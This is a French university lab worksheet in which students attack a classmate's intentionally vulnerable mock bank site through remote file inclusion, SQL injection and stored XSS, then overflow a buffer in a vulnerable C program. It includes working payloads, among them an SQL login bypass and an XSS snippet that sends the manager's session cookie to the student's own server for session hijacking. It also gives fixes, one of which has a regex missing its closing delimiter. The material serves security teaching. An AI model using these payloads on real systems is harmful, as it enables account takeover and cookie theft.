Exercices TP-5

  1. Table des matières
  2. culture générale 2
    1. culture générale-2
  3. Sécurité et PHP
    1. Banque en ligne : installation
    2. Tour du logiciel
  4. Remote File Inclusion
    1. Liens
    2. fin-page.php
    3. Paramètres URL
    4. Code coffre fort
    5. Analyse afficher-texte.php
    6. Correction
  5. Injection SQL
    1. connexion.php
    2. Injection 2
    3. Injection : essai
    4. Injection, suite
    5. Indication supplémentaire
    6. Correction
    7. Exploitation injection SQL
    8. Injection SQL : conclusion
  6. Faille XSS
    1. XSS : essai de message simple
    2. JS
    3. XSS: affichage alert
    4. XSS : exploitation session
    5. Correction:
  7. buffer overflow
    1. Fichier
    2. Code ASCII
    3. Affichage programme
    4. Affichage
    5. Buffer overwrite
    6. Buffer overwrite : explication
    7. Buffer overflow

1. Table des matières

1.1 Table des matières

Avez vous bien fait et fini le TP précèdent?

C'est important d'avoir bien compris les notions du TP précèdent avant de faire ce TP.
Si ce n'est pas fait, finissez d'abord le TP précèdent.

Cliquez sur "début du TP" pour commencer.

2. culture générale 2

2.1 culture générale 2

culture générale 2

2.2 culture générale-2

Pour chacun des composants logiciels suivants   :
- prenez le temps de faire une recherche internet. Au minimum, visitez la page principale du logiciel en plus de sa page wikipedia.
- vérifiez que vous comprenez les grandes lignes du logiciel. A quoi il sert, comment il s'insère dans le fonctionnement du système. A quoi il pourrait vous être utile. Imaginez des scénarios d'utilisation.

3. Sécurité et PHP

3.1 Sécurité et PHP

Dans ces exercices nous allons aborder quelques exemples de failles de sécurité en PHP.

Les failles de sécurité dans les systèmes informatiques ne sont pas faites exprès.
Elles résultent souvent d'erreurs ou d'oublis subtils dans des systèmes complexes.
L'exploitation de ces erreurs est donc difficile et demande des manipulations complexes.

Donc ne soyez pas étonnés de voir des techniques pouvant paraître « tordues ».


Sécurité et PHP

3.2 Banque en ligne : installation


Dans cette partie, on va travailler avec un logiciel PHP qui ressemble (un peu) à une banque en ligne.
Il devra être installé par votre voisin qui gardera secret les identifiants de connexion du gérant.
De votre coté, vous essayerez, à distance, d'accéder à ses informations confidentielles et à prendre le contrôle de son site.
Bien évidemment, ceci doit se faire sans que vous ayez d'autre accès à sa machine (pas de ssh).

C'est important de travailler sur deux machines différentes, pour éviter des confusions dans les aller-retours assez compliqués.

Installation du logiciel par votre voisin :
Votre voisin doit

Vérifiez que vous arrivez à voir son site de banque en ligne.

En cas de besoin, votre voisin pourra re-instaler le site en relançant tout simplement: ./banque-install.sh


Sécurité et PHP

3.3 Tour du logiciel

Prenez le temps de naviguer tous les liens de ce site très simple.

Essayez de vous connecter:
Par exemple, il y a un compte appelé 'karim' dont le mot de passe est 'azerty'.

Le code source

Téléchargez le code source du site ici :
banque.tar.gz

Désarchivez-le, mais ne l'installez pas.
Vous l'utiliserez uniquement pour comprendre le fonctionnement du logiciel.

Prenez le temps de lire les différents fichiers PHP.
Lisez aussi le fichier banque.sql qui sert, lors de l'installation, à créer la base de données.

Remarque: lors de l'installation, le fichier banque.sql et le répertoire secret ont été supprimés.


4. Remote File Inclusion

4.1 Remote File Inclusion

Dans les pages suivantes, on va commencer par une faille de sécurité assez simple appelée « Remote File Inclusion »

Remote File Inclusion

4.2 Liens

Quel est le nom du fichier PHP où se trouvent les liens « connexion | deconnexion | mentions légales | le mot du gerant | emploi » ?

(on demande juste le nom du fichier)

Remote File Inclusion

4.3 fin-page.php

Regardez en détail fin-page.php

Vous remarquerez que les liens « mentions légales | le mot du gerant | emploi » se ressemblent.

Quel est le nom du fichier PHP qui gère ces trois pages ?

Remote File Inclusion

4.4 Paramètres URL

Allez sur le site web de la banque en-ligne de votre voisin.
Cliquez sur le lien «  emploi »

Vous remarquerez que l'URL est de la forme :
http://192.168.xx.yy/banque/afficher-texte.php?fichier=emploi.txt

En PHP, quel est le nom de la variable permettant de récupérer les paramètres de l'URL ?

Remote File Inclusion

4.5 Code coffre fort

Code coffre fort

On sait que la banque en ligne de votre voisin garde le code secret de son coffre fort dans un fichier appelé « code-coffre-fort.txt ».
Ce fichier se trouve dans le répertoire /var/local/banque/ de sa machine.
Or, les fichiers accessibles à partir du web sont dans /var/www
On ne peut donc pas accéder directement à code-coffre-fort.txt par une requête web.

On va donc essayer d'utiliser une astuce pour y accéder.
Sur votre machine, lisez attentivement afficher-texte.php pour comprendre comment il marche.
Ensuite, essayez de récupérer le code du coffre fort de la banque de votre voisin.

Quelle URL faut-il taper dans votre navigateur pour récupérer ce code ?
(on demande l'URL en entier)

Remote File Inclusion

4.6 Analyse afficher-texte.php

La faille de sécurité est dans le code suivant :

$fichier=$_GET['fichier'];
require_once $fichier;


Comme souvent, le développeur PHP a oublié de vérifier que les données venant de l'utilisateur ($_GET) étaient conformes à ce qu'il attendait (un des noms de fichier texte).

C'est une faille classique appelée « Remote File Inclusion »
http://fr.wikipedia.org/wiki/Remote_File_Inclusion

Que faudrait-il écrire pour corriger ce code ?

Remote File Inclusion

4.7 Correction

Une solution:

$fichier=$_GET['fichier'];
if($fichier!=='mentions-legales.txt' &&
$fichier!=='mot-gerant.txt' &&
$fichier!=='emploi.txt' )
{
die('Tentative de piratage !');
}
require_once $fichier;

Une solution plus générale :
$fichier=$_GET['fichier'];
if(!preg_match('@^[a-z-]+\.txt$',$fichier))
{
die('Tentative de piratage !');
}
require_once $fichier;

5. Injection SQL

5.1 Injection SQL

Une autre faille classique, très courante, est l' « Injection SQL ».

L'idée est la suivante :

Le développeur écrit une requête SQL qui contient des données fournies par l'utilisateur.
Si le développeur n'a pas fait attention, l'utilisateur peut fournir des données qui vont modifier la requête.

Lisez attentivement le fichier "connexion.php".

Dans les pages suivantes, on va comprendre, ensemble, cette faille de sécurité.

Injection SQL

5.2 connexion.php

Si dans le formulaire, un utilisateur rentrait le nom "karim" et le mot de passe "azerty", quelle serait la requête SQL exécutée ?

(on veut juste la requête : c'est à dire, le contenu de la variable $sql)

Il faut être très précis, avec exactement le contenu de la variable.
Il vaut mieux faire un copier-coller, puis ajuster, que de réecrire.


Injection SQL

5.3 Injection 2

Si un utilisateur rentrait le nom "karim" et le mot de passe :

a'b

quelle serait la requête SQL exécutée ?
(répondez très précisément)

Injection SQL

5.4 Injection : essai

Sur la page connexion de la banque de votre voisin, essayez de rentrer le login "karim" et le mot de passe suivant :

a'b

Que se passe-il ?

Est-ce que la requête exécutée suivante :

SELECT * FROM utilisateurs WHERE nom='karim' AND motdepasse='a'b'

est valide ?

Injection SQL

5.5 Injection, suite

On a réussi a faire échouer une requête SQL sur la banque cible.
Ce n'était pas prévu par la banque, mais pour l'instant ça ne fait pas grande chose.

Il s'agit maintenant de modifier la requête de telle manière à ce qu'elle accepte n'importe quel mot de passe.

On sait que le nom du gerant est tout simplement "gerant".

SELECT * FROM utilisateurs WHERE nom='gerant' AND motdepasse='XXX'

On sait qu'on peut rentrer ce que l'on veut à la place de XXX.

On sait qu'en rentrant un guillemet simple, on peut « sortir » de l'endroit prévu et fournir du code SQL.

Pour résumer :

on doit imaginer une requête SQL  qui commence par:

SELECT * FROM utilisateurs WHERE nom='gerant' AND motdepasse='

qui finit par un guillemet  (on n'a pas le choix)

et qui accepte n'importe quel mot de passe.


Essayez d'en trouver une. 
Si vous ne trouvez pas, une indication supplémentaire est donnée à la page suivante.


Injection SQL

5.6 Indication supplémentaire


Rappel :

SELECT * FROM utilisateurs WHERE nom='gerant' AND motdepasse='XXX'

La requête dit :

nom='gerant' AND motdepasse=...

si on arrivait à ajouter une condition "OR" supplémentaire qui soit toujours vraie, alors la requête serait vraie quelque soit quel mot de passe.

Essayez de trouver de vous mêmes.
(solution à la page suivante).

Injection SQL

5.7 Correction

Il y a beaucoup de solutions possibles.

Voici une requête qui correspond à ce qu'on cherche:

SELECT * FROM utilisateurs WHERE nom='gerant' AND motdepasse='a' OR 'b'='b'
Elle commence bien par:
SELECT * FROM utilisateurs WHERE nom='gerant' AND motdepasse='
Elle finit bien par un guillemet .
La condition « OR 'b'='b' » est toujours vraie.
Donc l'expression
AND motdepasse='a' OR 'b'='b'
est toujours vraie.

Donc cette requête est équivalente à :
SELECT * FROM utilisateurs WHERE nom='gerant'


Injection SQL

5.8 Exploitation injection SQL

Sur la banque de votre voisin, dans le formulaire de connexion, essayez de rentrer les nom et mot de passe nécessaires pour générer la requête suivante et donc se connecter en tant que "gerant".

SELECT * FROM utilisateurs WHERE nom='gerant' AND motdepasse='a' OR 'b'='b'

Que faut-il rentrer dans le champs mot de passe du formulaire pour  exécuter cette requête ?

Injection SQL

5.9 Injection SQL : conclusion

On a réussi à prendre le contrôle du compte "gerant".

Le problème était dans le PHP suivant:

$sql="SELECT * FROM utilisateurs WHERE nom='".$_POST['nom']."' AND motdepasse='".$_POST['motdepasse']."'";

Le développeur insère directement dans le SQL des données fournies par l'utilisateur ($_POST['nom'] et  $_POST['motdepasse']) sans vérifer leur contenu.

Il s'attendait implicitement à recevoir une chaîne simple, mais a reçu une chaîne contenant un cratère spécial : le guillemet.

Une solution est d'échapper les guillemets dans les données fournies par l'utilisateur.
La fonction PHP mysqli_real_escape_string() permet de le faire.


Pour pouvoir faire la suite, déconnectez-vous du compte "gerant".


6. Faille XSS

6.1 Faille XSS

On va voir un troisième type de faille, très courante sur les sites web : les XSS « Cross-site scripting »

L'idée est la suivante : 

Dans un formulaire prévu pour rentrer un message (par exemple, un forum), le pirate rentre du code HTML contenant du JavaScript .
Plus tard, un autre utilisateur (ici "gerant") visite une page web ou est affiché ce message.
Si le site cible est mal conçu (c'est fréquent), il affiche directement le HTML contenant le JavaScript.
Donc, le navigateur de "gerant" vient d'exécuter du JavaScript fourni par le pirate.

On verra plus tard ce que le pirate peut faire avec ce JavaScript.

Voyons ca ensemble.

Faille XSS

6.2 XSS : essai de message simple

Connectez-vous sur la banque de votre voisin en tant que 'karim' (mot de passe 'azerty').

Cliquez sur le lien "envoyer un message au gérant".

Envoyez un message simple au gérant et demandez à votre voisin (qui connaît le mot de passe de "gerant") de vérifier s'il l'a bien reçu.

Faille XSS

6.3 JS

Quel est le nom (juste le nom) de la balise HTML permettant d'exécuter du JavaScript dans une page web ?

Faille XSS

6.4 XSS: affichage alert

On va commencer par exploiter la faille XSS pour afficher un alert() dans le navigateur de "gerant".
(utilisez la version de <script> qui insère directement du JS, pas celle qui utilise src="...")

Que faut-il taper dans le formulaire message ?

(vérifiez d'abord avec votre voisin)

Faille XSS

6.5 XSS : exploitation session

Cet exercice est très compliqué.
Faîtes le uniquement si vous êtes en avance.

Cookies et session

La connexion à un site web fonctionne grâce à une information appelée "cookie".
Le cookie est gardé sur le navigateur et est envoyé au serveur à chaque page visitée.

En PHP, quand on utilise $_SESSION (session_start()) un cookie est crée sur le navigateur.
Ce cookie de session permet au serveur d'identifier le navigateur / utilisateur.
Ce cookie est donc critique pour la sécurité.
Si un pirate connaissait le cookie de "gerant", il pourrait se faire passer pour "gerant".

Cookies en JavaScript

En JavaScript on accède aux cookies avec la variable « document.cookie »

Connectez-vous sur la banque de votre voisin en tant que 'karim' ('azerty').
Ouvrez la console Firebug (ou "inspect").
Tapez "document.cookie" suivi d'entrée.
Vous devriez voir quelque-chose du type "PHPSESSID=313amlhp6kriop62o368m5jpn0"
Demandez à votre voisin de faire la même chose, sur son navigateur, mais sur le compte de "gerant".
Ensuite, dans la console de votre navigateur, tapez ce qui suit, en remplaçant la valeur par celle de "gerant".

document.cookie="PHPSESSID=4caamlhp4kriop62o368m5jpn0"

En cas de difficulté: utiliser les outils de dev Firefox, dans la console, cliquez sur l'onglet "Stockage", puis dans le cookie correspondant, copiez la valeur.

Vérifiez que vous êtes bien maintenant dans la session de "gerant" !!
Déconnectez-vous ... c'est de la triche :-)
On va essayer d'utiliser la faille XSS.

Transmettre le cookies

C'est ici que ca devient vraiment très compliqué.
Vous devez écrire dans le message du JavaScript qui réussisse à vous transmettre le cookie de "gerant".
La solution la plus simple est d'insérer une image dont le lien src pointe vers un serveur web à vous.
Dans ce lien src vous pouvez ajouter le cookie.
Ensuite, en regardant les logs de votre serveur vous verrez le lien (avec le cookie).

Essayez ... (bon courage!)



Faille XSS

6.6 Correction:

Voici ce qu'on peut taper dans le formulaire de message:

<img id="imagexss" src="http://192.168.xx.xx/"/><script>document.getElementById("imagexss").src+=document.cookie;</script>

Une image est crée et le cookie est ajouté par le JS à la fin du src.

Quand "gerant" visite sa page, ce JS est exécuté.

Ensuite sur votre machine (192.168.xx.xx) vous pouvez taper :

tail /var/log/apache2/access.log
Vous devez voir une ligne du type:

192.168.yy.yy - - [04/Mar/2015:10:01:40 +0100] "GET /PHPSESSID=c76ip7c1thg4u1e5mtt8fulma0 HTTP/1.1" 404 523 "http://192.168.yy.yy/banque/index.php" "Mozilla/5.0 (X11; Debian; Linux i686; rv:34.0) Gecko/20100101 Firefox/34.0"
Il ne vous reste plus qu'à copier le cookie dans la console de votre navigateur pour prendre le contrôle de la session de "gerant".
Ouf.

Conseil: si vous faites plusieurs essais, remplacez à chaque "imagexss" par autre chose aux 2 endroits où elle apparaît dans le message.  Par exemple, vous pouvez remplacer par  "imagexss2", "imagexss3", "imagexss4", etc.

C'est compliqué... mais vous n'avez pas besoin de retenir tout ca.
L'important est de comprendre le principe de base du XSS, qui est assez simple.

7. buffer overflow

7.1 buffer overflow

Pour faire ces exercices, vous pouvez relire votre cours (transparents du cours 3) à propos des buffer overflow, et aussi la page suivante: http://fr.wikipedia.org/wiki/Buffer_overflow

x

buffer overflow

7.2 Fichier

Créez le fichier suivant et compilez-le avec:

gcc virement-banque.c -o virement-banque

virement-banque.c

#include <stdio.h>
#include <string.h>

int main();
void ajouter_message_et_faire_virement(char *dest0,int montant);
void afficher_memoire(char *ptr);

int main()
{
ajouter_message_et_faire_virement("Mme. Bettencourt",100000);
}

void ajouter_message_et_faire_virement(char *dest0,int montant)
{
char destinataire[24]={0};
char message[16]={0};

strcpy(destinataire,dest0);

printf("Rentrez un message pour le virement: ");
scanf("%s",message);

printf("Le virement de %d euros a été effectué.\n",montant);
printf("Le destinataire est: %s\n",destinataire);
printf("Le message ajouté est: %s\n",message);

// Cette fonction est la uniquement pour vous aider à comprendre.
afficher_memoire(destinataire > message ? message : destinataire);
}

// Afficher des adresses et un bloc de mémoire
void afficher_memoire(char *ptr)
{
int addrSize=sizeof(char *);
int i,j;
char c;

printf("\n\n*********************\n");
printf("adresse de message : %016lx\n",(unsigned long)ptr);
printf("adresse de main(): %016lx\n",(unsigned long)main);
printf("\n");

printf("Mémoire:\n");
printf(" addresse : lettres\n");
for(i=0;i<20*addrSize;i+=addrSize)
{
printf("%3d: %016lx : ",i,*((unsigned long int *)(ptr+i)));
for(j=0;j<addrSize;j++)
{
c=ptr[i+j];
printf("%c ",(c>=32 && c!=127) ? c : '-');
}
printf("\n");
}
}

buffer overflow

7.3 Code ASCII

On va devoir lire des adresses et des lettres.
Pour ne pas s'emmêler, il faut comprendre la différence entre une lettre et son code ASCII en hexadécimal.

Quel est le code ASCII de la lettre 'A' majuscule en hexadécimal ?

(cherchez sur le web)

buffer overflow

7.4 Affichage programme

Exécutez le programme avec ./virement-banque

Rentrez un message pour le virement et essayez de comprendre l'affichage.

A la fin du programme est affiché un bloc de mémoire commençant à l'adresse de "message" (mais allant bien au delà de la fin de message).

L'affichage est constitué de 4 octets par ligne.

La première colonne affiche ces 4 octets au format "adresse".
Si ces 4 octets contiennent une adresse, elle sera lisible ici.

La deuxième colonne affiche ces mêmes 4 octets au format "lettres".
Si ces 4 octets contiennent du texte, il sera lisible ici.

Par exemple, exécutez le programme et rentrez un message constitué uniquement d'une lettre 'A' majuscule.

Quelle est la première "adresse" affichée ?

buffer overflow

7.5 Affichage

Bien sur "0000000000000041" n'est pas vraie une adresse.
Ces 8 octets contiennent du texte, donc la valeur est à lire sur la 2e colonne "lettres" : "A - - -"
Remarquez que l'ordre est inversé on a bien "0000000000000041" et pas "4100000000000000".
(la raison, si elle vous intéresse est expliquée ici)


Lisez attentivement virement-banque.c et essayez de comprendre.

La fonction ajouter_message_et_faire_virement() est très simple.
Elle se résume à la déclaration de deux chaînes de caractères et à l'appel de scanf().

buffer overflow

7.6 Buffer overwrite

Buffer overwrite

On va voir une faille de sécurité simple appelée « Buffer overwrite ».
C'est une variante simple du « Buffer overflow ».

Exécutez plusieurs fois le ./virement-banque en rentrant d'abord un message court, puis de plus en plus long.

Que constatez vous ?

Quel message faut-il taper pour changer le destinataire du virement à "Moi", à la place de "Mme. Bettencourt" ?

buffer overflow

7.7 Buffer overwrite : explication

scanf() ne vérifie pas la taille de la chaîne tapée.

L'emplacement mémoire ("Buffer") de la chaîne "destinataire" se trouve juste après l'emplacement de "message".
Si on rentre un message trop long, le message déborde ("overflow") et écrase ("overwrite") la chaîne "destinataire".


buffer overflow

7.8 Buffer overflow

Buffer overflow

Le « buffer overflow » est beaucoup plus compliqué à exploiter.

Dans la technique du « buffer overflow » on déborde plus loin dans la mémoire (pile) jusqu'à atteindre l'adresse de retour de la fonction.
On modifie cette adresse de retour pour qu'elle pointe vers le début de la pile ("message").
Comme le début de la pile ("message") contient des données fournies par nous, on peut y mettre un programme.
On aura donc réussi à faire exécuter un programme à nous par un autre programme.

En pratique, c'est très compliqué.
Le principal problème pour le pirate est qu'il ne connaît pas l'adresse du début de la pile  (l'adresse de "message").
Ici, dans ce programme, elle est affichée, mais ce n'est pas le cas dans un "vrai" programme.
Ensuite il faut écrire du code assembleur, et contourner des protections (stack smashing).

C'est possible... mais c'est trop compliqué pour nous.

Essayons tout de même de retrouver l'adresse de retour dans cet exemple.
On sait que ajouter_message_et_faire_virement() est appelée dans main.
Quand ajouter_message_et_faire_virement() fini, le programme doit retourner dans main, juste après l'appel de cette fonction.
Cette adresse de retour est stockée vers la fin de la pile.
Donc son adresse devrait être légèrement supérieure à celle de main().


Rentrez un message pour le virement: AAA
Le virement de 100000 euros a été effectué.
Le destinataire est: Mme. Bettencourt
Le message ajouté est: AAA


*********************
adresse de message : 00007ffe4f1e77f0
adresse de main(): 0000000000400646

Mémoire:
addresse : lettres
0: 0000000000414141 : A A A - - - - -
8: 0000000000000000 : - - - - - - - -
16: 746542202e656d4d : M m e . B e t
24: 7472756f636e6574 : t e n c o u r t
32: 0000000000000000 : - - - - - - - -
40: 0000000000400550 : P - @ - - - - -
48: 00007ffe4f1e7830 : 0 x - O - - - -
56: 0000000000400659 : Y - @ - - - - -
64: 0000000000000000 : - - - - - - - -
72: 00007f8594fd8b45 : E - - - - - - -
80: 0000000000000000 : - - - - - - - -
88: 00007ffe4f1e7918 : - y - O - - - -
96: 0000000100000000 : - - - - - - - -
104: 0000000000400646 : F - @ - - - - -
112: 0000000000000000 : - - - - - - - -
120: 705168b7dde524d4 : - $ - - - h Q p
128: 0000000000400550 : P - @ - - - - -
136: 00007ffe4f1e7910 : - y - O - - - -
144: 0000000000000000 : - - - - - - - -
152: 0000000000000000 : - - - - - - - -


Quelle est l'adresse de retour dans cet exemple ?